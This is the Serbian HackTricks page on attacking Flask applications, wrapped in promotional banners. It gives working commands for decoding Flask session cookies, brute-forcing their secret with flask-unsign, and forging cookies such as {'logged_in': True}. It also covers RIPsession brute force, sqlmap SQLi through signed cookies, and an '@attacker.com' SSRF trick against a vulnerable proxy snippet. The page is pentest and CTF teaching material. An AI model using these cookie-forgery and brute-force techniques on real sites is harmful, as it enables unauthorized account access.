5.7 KiB
Flask
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite svoju kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRIJATELJE!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte Porodicu PEASS, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Koristite Trickest da lako izgradite i automatizujete radne tokove pokretane najnaprednijim alatima zajednice.
Dobijte pristup danas:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Verovatno ako igrate CTF Flask aplikacija će biti povezana sa SSTI.
Kolačići
Podrazumevano ime sesije kolačića je session
.
Dekoder
Online Flask dekoder kolačića: https://www.kirsle.net/wizards/flask-session.cgi
Ručno
Dobijte prvi deo kolačića do prvog tačkastog znaka i dekodirajte ga iz Base64>
echo "ImhlbGxvIg" | base64 -d
Kolačić je takođe potpisan korišćenjem lozinke
Flask-Unsign
Komandna linija alatka za dobijanje, dekodiranje, napad brute-force i kreiranje sesijskih kolačića aplikacije Flask pogađanjem tajnih ključeva.
{% embed url="https://pypi.org/project/flask-unsign/" %}
pip3 install flask-unsign
Dekodiranje Kolačića
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
Bruteforce
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
Potpisivanje
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
Potpisivanje korišćenjem zastarelih (starih verzija)
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
RIPsession
Komandna linija alatka za brute-force napade na veb sajtove koristeći kolačiće kreirane pomoću flask-unsign.
{% embed url="https://github.com/Tagvi/ripsession" %}
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
SQLi u Flask sesijskom kolačiću pomoću SQLmap-a
Ovaj primer koristi sqlmap eval
opciju da automatski potpiše sqlmap payload-e za Flask korišćenjem poznate tajne.
Flask Proxy za SSRF
U ovom objašnjenju objašnjeno je kako Flask dozvoljava zahtev koji počinje sa karakterom "@":
GET @/ HTTP/1.1
Host: target.com
Connection: close
Koji je sledeći scenario:
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com/'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
app.run(host='0.0.0.0', port=8080)
Moglo bi da dozvoli da se unese nešto poput "@attacker.com" kako bi se izazvao SSRF.
Koristite Trickest da lako izgradite i automatizujete radne tokove pokretane najnaprednijim alatima zajednice na svetu.
Pristupite danas:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini da podržite HackTricks:
- Ako želite da vidite svoju kompaniju reklamiranu na HackTricks-u ili da preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRIJAVU!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.